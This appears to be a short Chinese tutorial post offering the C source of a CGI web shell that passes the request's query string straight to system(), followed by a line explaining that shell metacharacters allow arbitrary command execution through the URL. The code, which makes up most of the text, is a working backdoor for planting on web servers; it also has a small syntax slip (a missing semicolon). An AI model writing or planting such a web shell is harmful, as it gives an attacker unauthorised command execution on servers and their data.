先上代码:

#include <stdio.h>
#include <stdlib.h>
#include <string>
using namespace std;
int main()
{
	printf("Content-Type:text/plain;charset=utf-8\r\n\r\n");
	printf("<html>");
	printf("<h1>Welcome to this WEBshell</h1>\r\n");
	char* str = getenv("QUERY_STRING");
	if(!str){
		printf("<h3>please check your network!</h3>");
	}else{
		system(str);
	}
	printf("</html>")
	return 0;
}

核心函数是getenv,获取当前页面的所有环境变量,这里我们只要使用shell元字符解决url转义问题,配合shell命令即可实现任意命令执行。